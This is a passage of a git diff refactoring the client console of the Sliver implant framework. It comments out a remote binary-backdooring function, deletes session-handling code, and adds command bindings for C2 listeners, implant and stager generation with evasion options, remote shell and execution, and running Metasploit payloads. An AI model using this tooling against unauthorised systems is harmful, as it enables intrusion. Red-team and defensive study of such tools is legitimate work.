- fmt.Println() - lootFetch(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - lootCmd.AddCommand(&grumble.Command{ - Name: consts.RmStr, - Help: "Remove a piece of loot from the server's loot store", - LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.RmStr}), - Flags: func(f *grumble.Flags) { - f.String("f", "filter", "", "filter based on loot type") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - lootRm(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - app.AddCommand(lootCmd) -} diff --git a/client/command/binject.go b/client/command/binject.go index de6345fa30..26235768ad 100644 --- a/client/command/binject.go +++ b/client/command/binject.go @@ -1,68 +1,68 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox +// /* +// Sliver Implant Framework +// Copyright (C) 2019 Bishop Fox - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ -import ( - "context" - "fmt" +// import ( +// "context" +// "fmt" - "github.com/bishopfox/sliver/client/spin" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/desertbit/grumble" -) +// "github.com/bishopfox/sliver/client/spin" +// "github.com/bishopfox/sliver/protobuf/rpcpb" +// "github.com/bishopfox/sliver/protobuf/sliverpb" +// "github.com/desertbit/grumble" +// ) -func binject(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.Get() - if session == nil { - fmt.Println(Warn + "Please select an active session via `use`") - return - } +// func binject(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.Get() +// if session == nil { +// fmt.Println(Warn + "Please select an active session via `use`") +// return +// } - remoteFilePath := ctx.Args.String("remote-file") - if remoteFilePath == "" { - fmt.Println(Warn + "Please provide a remote file path. See `help backdoor` for more info") - return - } +// remoteFilePath := ctx.Args.String("remote-file") +// if remoteFilePath == "" { +// fmt.Println(Warn + "Please provide a remote file path. See `help backdoor` for more info") +// return +// } - profileName := ctx.Flags.String("profile") +// profileName := ctx.Flags.String("profile") - ctrl := make(chan bool) - msg := fmt.Sprintf("Backdooring %s ...", remoteFilePath) - go spin.Until(msg, ctrl) - backdoor, err := rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{ - FilePath: remoteFilePath, - ProfileName: profileName, - Request: ActiveSession.Request(ctx), - }) - ctrl <- true - <-ctrl - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } +// ctrl := make(chan bool) +// msg := fmt.Sprintf("Backdooring %s ...", remoteFilePath) +// go spin.Until(msg, ctrl) +// backdoor, err := rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{ +// FilePath: remoteFilePath, +// ProfileName: profileName, +// Request: ActiveSession.Request(ctx), +// }) +// ctrl <- true +// <-ctrl +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } - if backdoor.Response != nil && backdoor.Response.Err != "" { - fmt.Printf(Warn+"Error: %s\n", backdoor.Response.Err) - return - } +// if backdoor.Response != nil && backdoor.Response.Err != "" { +// fmt.Printf(Warn+"Error: %s\n", backdoor.Response.Err) +// return +// } - fmt.Printf(Info+"Uploaded backdoored binary to %s\n", remoteFilePath) +// fmt.Printf(Info+"Uploaded backdoored binary to %s\n", remoteFilePath) -} +// } diff --git a/client/command/command.go b/client/command/command.go deleted file mode 100644 index 2ae5fde212..0000000000 --- a/client/command/command.go +++ /dev/null @@ -1,175 +0,0 @@ -package command - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - "fmt" - "time" - - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/desertbit/grumble" - - "gopkg.in/AlecAivazis/survey.v1" -) - -const ( - // ANSI Colors - normal = "\033[0m" - black = "\033[30m" - red = "\033[31m" - green = "\033[32m" - orange = "\033[33m" - blue = "\033[34m" - purple = "\033[35m" - cyan = "\033[36m" - gray = "\033[37m" - bold = "\033[1m" - clearln = "\r\x1b[2K" - upN = "\033[%dA" - downN = "\033[%dB" - underline = "\033[4m" - - // Info - Display colorful information - Info = bold + cyan + "[*] " + normal - // Warn - Warn a user - Warn = bold + red + "[!] " + normal - // Debug - Display debug information - Debug = bold + purple + "[-] " + normal - // Woot - Display success - Woot = bold + green + "[$] " + normal -) - -var ( - - // ActiveSession - The current sliver we're interacting with - ActiveSession = &activeSession{ - observers: map[int]Observer{}, - observerID: 0, - } - - stdinReadTimeout = 10 * time.Millisecond -) - -// Observer - A function to call when the sessions changes -type Observer func(*clientpb.Session) - -type activeSession struct { - session *clientpb.Session - observers map[int]Observer - observerID int -} - -// GetInteractive - GetInteractive the active session -func (s *activeSession) GetInteractive() *clientpb.Session { - if s.session == nil { - fmt.Printf(Warn + "Please select an active session via `use`\n") - return nil - } - return s.session -} - -// Get - Same as Get() but doesn't print a warning -func (s *activeSession) Get() *clientpb.Session { - if s.session == nil { - return nil - } - return s.session -} - -// AddObserver - Observers to notify when the active session changes -func (s *activeSession) AddObserver(observer Observer) int { - s.observerID++ - s.observers[s.observerID] = observer - return s.observerID -} - -func (s *activeSession) RemoveObserver(observerID int) { - if _, ok := s.observers[observerID]; ok { - delete(s.observers, observerID) - } -} - -func (s *activeSession) Request(ctx *grumble.Context) *commonpb.Request { - if s.session == nil { - return nil - } - timeout := int(time.Second) * ctx.Flags.Int("timeout") - return &commonpb.Request{ - SessionID: s.session.ID, - Timeout: int64(timeout), - } -} - -// Set - Change the active session -func (s *activeSession) Set(session *clientpb.Session) { - s.session = session - for _, observer := range s.observers { - observer(s.session) - } -} - -// Background - Background the active session -func (s *activeSession) Background() { - s.session = nil - for _, observer := range s.observers { - observer(nil) - } -} - -// GetSession - Get session by session ID or name -func GetSession(arg string, rpc rpcpb.SliverRPCClient) *clientpb.Session { - sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{}) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return nil - } - for _, session := range sessions.GetSessions() { - if session.Name == arg || fmt.Sprintf("%d", session.ID) == arg { - return session - } - } - return nil -} - -// GetSessionsByName - Return all sessions for an Implant by name -func GetSessionsByName(name string, rpc rpcpb.SliverRPCClient) []*clientpb.Session { - sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{}) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return nil - } - matched := []*clientpb.Session{} - for _, session := range sessions.GetSessions() { - if session.Name == name { - matched = append(matched, session) - } - } - return matched -} - -// This should be called for any dangerous (OPSEC-wise) functions -func isUserAnAdult() bool { - confirm := false - prompt := &survey.Confirm{Message: "This action is bad OPSEC, are you an adult?"} - survey.AskOne(prompt, &confirm, nil) - return confirm -} diff --git a/client/command/commands.go b/client/command/commands.go new file mode 100644 index 0000000000..951e62050f --- /dev/null +++ b/client/command/commands.go @@ -0,0 +1,1995 @@ +package command + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + + --- + This file contains all of the code that binds a given string/flags/etc. to a + command implementation function. + + Guidelines when adding a command: + + * Try to reuse the same short/long flags for the same paramenter, + e.g. "timeout" flags should always be -t and --timeout when possible. + Try to avoid creating flags that conflict with others even if you're + not using the flag, e.g. avoid using -t even if your command doesn't + have a --timeout. + + * Add a long-form help template to `client/help` + +*/ + +import ( + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" +) + +const ( + defaultMTLSLPort = 8888 + defaultWGLPort = 53 + defaultWGNPort = 8888 + defaultWGKeyExPort = 1337 + defaultHTTPLPort = 80 + defaultHTTPSLPort = 443 + defaultDNSLPort = 53 + defaultTCPPivotPort = 9898 + + defaultReconnect = 60 + defaultPoll = 1 + defaultMaxErrors = 1000 + + defaultTimeout = 60 +) + +// BindCommands - Bind commands to a App +func BindCommands(con *console.SliverConsoleClient) { + + con.App.SetPrintHelp(help.HelpCmd(con)) // Responsible for display long-form help templates, etc. + + // client.App.AddCommand(&grumble.Command{ + // Name: consts.UpdateStr, + // Help: "Check for updates", + // LongHelp: help.GetHelpFor([]string{consts.UpdateStr}), + // Flags: func(f *grumble.Flags) { + // f.Bool("P", "prereleases", false, "include pre-released (unstable) versions") + // f.String("p", "proxy", "", "specify a proxy url (e.g. http://localhost:8080)") + // f.String("s", "save", "", "save downloaded files to specific directory (default user home dir)") + // f.Bool("I", "insecure", false, "skip tls certificate validation") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // updates(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.VersionStr, + // Help: "Display version information", + // LongHelp: help.GetHelpFor([]string{consts.VersionStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // verboseVersions(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + + // // [ Jobs ] ----------------------------------------------------------------- + // console.App.AddCommand(&grumble.Command{ + // Name: consts.JobsStr, + // Help: "Job control", + // LongHelp: help.GetHelpFor([]string{consts.JobsStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("k", "kill", -1, "kill a background job") + // f.Bool("K", "kill-all", false, "kill all jobs") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // jobs(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.MtlsStr, + // Help: "Start an mTLS listener", + // LongHelp: help.GetHelpFor([]string{consts.MtlsStr}), + // Flags: func(f *grumble.Flags) { + // f.String("s", "server", "", "interface to bind server to") + // f.Int("l", "lport", defaultMTLSLPort, "tcp listen port") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // f.Bool("p", "persistent", false, "make persistent across restarts") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // startMTLSListener(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.WGStr, + // Help: "Start a WireGuard listener", + // LongHelp: help.GetHelpFor([]string{consts.WGStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("l", "lport", defaultWGLPort, "udp listen port") + // f.Int("n", "nport", defaultWGNPort, "virtual tun interface listen port") + // f.Int("x", "key-port", defaultWGKeyExPort, "virtual tun inteface key exchange port") + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // f.Bool("p", "persistent", false, "make persistent across restarts") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // startWGListener(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.DnsStr, + // Help: "Start a DNS listener", + // LongHelp: help.GetHelpFor([]string{consts.DnsStr}), + // Flags: func(f *grumble.Flags) { + // f.String("d", "domains", "", "parent domain(s) to use for DNS c2") + // f.Bool("c", "no-canaries", false, "disable dns canary detection") + // f.Int("l", "lport", defaultDNSLPort, "udp listen port") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // f.Bool("p", "persistent", false, "make persistent across restarts") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // startDNSListener(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.HttpStr, + // Help: "Start an HTTP listener", + // LongHelp: help.GetHelpFor([]string{consts.HttpStr}), + // Flags: func(f *grumble.Flags) { + // f.String("d", "domain", "", "limit responses to specific domain") + // f.String("w", "website", "", "website name (see websites cmd)") + // f.Int("l", "lport", defaultHTTPLPort, "tcp listen port") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // f.Bool("p", "persistent", false, "make persistent across restarts") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // startHTTPListener(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.HttpsStr, + // Help: "Start an HTTPS listener", + // LongHelp: help.GetHelpFor([]string{consts.HttpsStr}), + // Flags: func(f *grumble.Flags) { + // f.String("d", "domain", "", "limit responses to specific domain") + // f.String("w", "website", "", "website name (see websites cmd)") + // f.Int("l", "lport", defaultHTTPSLPort, "tcp listen port") + + // f.String("c", "cert", "", "PEM encoded certificate file") + // f.String("k", "key", "", "PEM encoded private key file") + + // f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // f.Bool("p", "persistent", false, "make persistent across restarts") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // startHTTPSListener(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.PlayersStr, + // Help: "List operators", + // LongHelp: help.GetHelpFor([]string{consts.PlayersStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // operatorsCmd(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.MultiplayerHelpGroup, + // }) + + // // [ Commands ] -------------------------------------------------------------- + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.SessionsStr, + // Help: "Session management", + // LongHelp: help.GetHelpFor([]string{consts.SessionsStr}), + // Flags: func(f *grumble.Flags) { + // f.String("i", "interact", "", "interact with a sliver") + // f.String("k", "kill", "", "Kill the designated session") + // f.Bool("K", "kill-all", false, "Kill all the sessions") + // f.Bool("C", "clean", false, "Clean out any sessions marked as [DEAD]") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // sessions(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.BackgroundStr, + // Help: "Background an active session", + // LongHelp: help.GetHelpFor([]string{consts.BackgroundStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // background(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.KillStr, + // Help: "Kill a session", + // LongHelp: help.GetHelpFor([]string{consts.KillStr}), + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // kill(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // Flags: func(f *grumble.Flags) { + // f.Bool("f", "force", false, "Force kill, does not clean up") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.InfoStr, + // Help: "Get info about session", + // LongHelp: help.GetHelpFor([]string{consts.InfoStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Args: func(a *grumble.Args) { + // a.String("session", "session ID", grumble.Default("")) + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // info(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.UseStr, + // Help: "Switch the active session", + // LongHelp: help.GetHelpFor([]string{consts.UseStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Args: func(a *grumble.Args) { + // a.String("session", "session ID") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // use(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.ShellStr, + // Help: "Start an interactive shell", + // LongHelp: help.GetHelpFor([]string{consts.ShellStr}), + // Flags: func(f *grumble.Flags) { + // f.Bool("y", "no-pty", false, "disable use of pty on macos/linux") + // f.String("s", "shell-path", "", "path to shell interpreter") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // shell(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.ExecuteStr, + // Help: "Execute a program on the remote system", + // LongHelp: help.GetHelpFor([]string{consts.ExecuteStr}), + // Flags: func(f *grumble.Flags) { + // f.Bool("T", "token", false, "execute command with current token (windows only)") + // f.Bool("s", "silent", false, "don't print the command output") + // f.Bool("X", "loot", false, "save output as loot") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Args: func(a *grumble.Args) { + // a.String("command", "command to execute") + // a.StringList("arguments", "arguments to the command") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // execute(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.SliverHelpGroup, + // }) + + // generateCmd := &grumble.Command{ + // Name: consts.GenerateStr, + // Help: "Generate an implant binary", + // LongHelp: help.GetHelpFor([]string{consts.GenerateStr}), + // Flags: func(f *grumble.Flags) { + // f.String("o", "os", "windows", "operating system") + // f.String("a", "arch", "amd64", "cpu architecture") + // f.String("N", "name", "", "agent name") + // f.Bool("d", "debug", false, "enable debug features") + // f.Bool("e", "evasion", false, "enable evasion features") + // f.Bool("b", "skip-symbols", false, "skip symbol obfuscation") + + // f.String("c", "canary", "", "canary domain(s)") + + // f.String("m", "mtls", "", "mtls connection strings") + // f.String("g", "wg", "", "wg connection strings") + // f.String("H", "http", "", "http(s) connection strings") + // f.String("n", "dns", "", "dns connection strings") + // f.String("p", "named-pipe", "", "named-pipe connection strings") + // f.String("i", "tcp-pivot", "", "tcp-pivot connection strings") + + // f.Int("X", "key-exchange", defaultWGKeyExPort, "wg key-exchange port") + // f.Int("T", "tcp-comms", defaultWGNPort, "wg c2 comms port") + + // f.Int("j", "reconnect", defaultReconnect, "attempt to reconnect every n second(s)") + // f.Int("P", "poll", defaultPoll, "attempt to poll every n second(s)") + // f.Int("k", "max-errors", defaultMaxErrors, "max number of connection errors") + + // f.String("w", "limit-datetime", "", "limit execution to before datetime") + // f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines") + // f.String("y", "limit-username", "", "limit execution to specified username") + // f.String("z", "limit-hostname", "", "limit execution to specified hostname") + // f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem") + + // f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)") + + // f.String("s", "save", "", "directory/file to the binary to") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // generate(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // } + // generateCmd.AddCommand(&grumble.Command{ + // Name: consts.StagerStr, + // Help: "Generate a implant stager using MSF", + // LongHelp: help.GetHelpFor([]string{consts.StagerStr}), + // Flags: func(f *grumble.Flags) { + // f.String("o", "os", "windows", "operating system") + // f.String("a", "arch", "amd64", "cpu architecture") + // f.String("l", "lhost", "", "Listening host") + // f.Int("p", "lport", 8443, "Listening port") + // f.String("r", "protocol", "tcp", "Staging protocol (tcp/http/https)") + // f.String("f", "format", "raw", "Output format (msfvenom formats, see `help generate stager` for the list)") + // f.String("b", "badchars", "", "bytes to exclude from stage shellcode") + // f.String("s", "save", "", "directory to save the generated stager to") + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // generateStager(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + // generateCmd.AddCommand(&grumble.Command{ + // Name: consts.CompilerStr, + // Help: "Get information about the server's compiler", + // LongHelp: help.GetHelpFor([]string{consts.CompilerStr}), + // Flags: func(f *grumble.Flags) { + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // generateCompilerInfo(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + // console.App.AddCommand(generateCmd) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.StageListenerStr, + // Help: "Start a stager listener", + // LongHelp: help.GetHelpFor([]string{consts.StageListenerStr}), + // Flags: func(f *grumble.Flags) { + // f.String("p", "profile", "", "Implant profile to link with the listener") + // f.String("u", "url", "", "URL to which the stager will call back to") + // f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)") + // f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)") + // f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // stageListener(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.RegenerateStr, + // Help: "Regenerate an implant", + // LongHelp: help.GetHelpFor([]string{consts.RegenerateStr}), + // Args: func(a *grumble.Args) { + // a.String("implant-name", "name of the implant") + // }, + // Flags: func(f *grumble.Flags) { + // f.String("s", "save", "", "directory/file to the binary to") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // regenerate(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + + // profilesCmd := &grumble.Command{ + // Name: consts.ProfilesStr, + // Help: "List existing profiles", + // LongHelp: help.GetHelpFor([]string{consts.ProfilesStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // profiles(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // } + // profilesCmd.AddCommand(&grumble.Command{ + // Name: consts.GenerateStr, + // Help: "Generate implant from a profile", + // LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.GenerateStr}), + // Flags: func(f *grumble.Flags) { + // f.String("p", "name", "", "profile name") + // f.String("s", "save", "", "directory/file to the binary to") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // profileGenerate(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + // profilesCmd.AddCommand(&grumble.Command{ + // Name: consts.NewStr, + // Help: "Save a new implant profile", + // LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr}), + // Flags: func(f *grumble.Flags) { + // f.String("o", "os", "windows", "operating system") + // f.String("a", "arch", "amd64", "cpu architecture") + // f.Bool("d", "debug", false, "enable debug features") + // f.Bool("e", "evasion", false, "enable evasion features") + // f.Bool("s", "skip-symbols", false, "skip symbol obfuscation") + + // f.String("m", "mtls", "", "mtls domain(s)") + // f.String("g", "wg", "", "wg domain(s)") + // f.String("H", "http", "", "http[s] domain(s)") + // f.String("n", "dns", "", "dns domain(s)") + // f.String("p", "named-pipe", "", "named-pipe connection strings") + // f.String("i", "tcp-pivot", "", "tcp-pivot connection strings") + + // f.Int("X", "key-exchange", defaultWGKeyExPort, "wg key-exchange port") + // f.Int("T", "tcp-comms", defaultWGNPort, "wg c2 comms port") + + // f.String("c", "canary", "", "canary domain(s)") + + // f.Int("j", "reconnect", defaultReconnect, "attempt to reconnect every n second(s)") + // f.Int("k", "max-errors", defaultMaxErrors, "max number of connection errors") + // f.Int("P", "poll", defaultPoll, "attempt to poll every n second(s)") + + // f.String("w", "limit-datetime", "", "limit execution to before datetime") + // f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines") + // f.String("y", "limit-username", "", "limit execution to specified username") + // f.String("z", "limit-hostname", "", "limit execution to specified hostname") + // f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem") + + // f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)") + + // f.String("N", "profile-name", "", "profile name") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // newProfile(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + // profilesCmd.AddCommand(&grumble.Command{ + // Name: consts.RmStr, + // Help: "Remove a profile", + // LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.RmStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Args: func(a *grumble.Args) { + // a.String("profile-name", "name of the profile") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // rmProfile(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + // console.App.AddCommand(profilesCmd) + + // implantBuildsCmd := &grumble.Command{ + // Name: consts.ImplantBuildsStr, + // Help: "List implant builds", + // LongHelp: help.GetHelpFor([]string{consts.ImplantBuildsStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // listImplantBuilds(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // } + // implantBuildsCmd.AddCommand(&grumble.Command{ + // Name: consts.RmStr, + // Help: "Remove implant build", + // LongHelp: help.GetHelpFor([]string{consts.ImplantBuildsStr, consts.RmStr}), + // Flags: func(f *grumble.Flags) { + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Args: func(a *grumble.Args) { + // a.String("implant-name", "implant name") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // rmImplantBuild(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + // console.App.AddCommand(implantBuildsCmd) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.ListCanariesStr, + // Help: "List previously generated canaries", + // LongHelp: help.GetHelpFor([]string{consts.ListCanariesStr}), + // Flags: func(f *grumble.Flags) { + // f.Bool("b", "burned", false, "show only triggered/burned canaries") + + // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") + // }, + // Run: func(ctx *grumble.Context) error { + // fmt.Println() + // canaries(ctx, console.Rpc) + // fmt.Println() + // return nil + // }, + // HelpGroup: consts.GenericHelpGroup, + // }) + + // console.App.AddCommand(&grumble.Command{ + // Name: consts.MsfStr, + // Help: "Execute an MSF payload in the current process", + // LongHelp: help.GetHelpFor([]string{consts.MsfStr}), + // Flags: func(f *grumble.Flags) { + // f.String("m", "payload", "meterpreter_reverse_https", "msf payload") + // f.String("o", "lhost", "", "listen host") + // f.Int("l", "lport", 4444, "listen port") + // f.String("e", "encoder", "", "msf encoder") + // 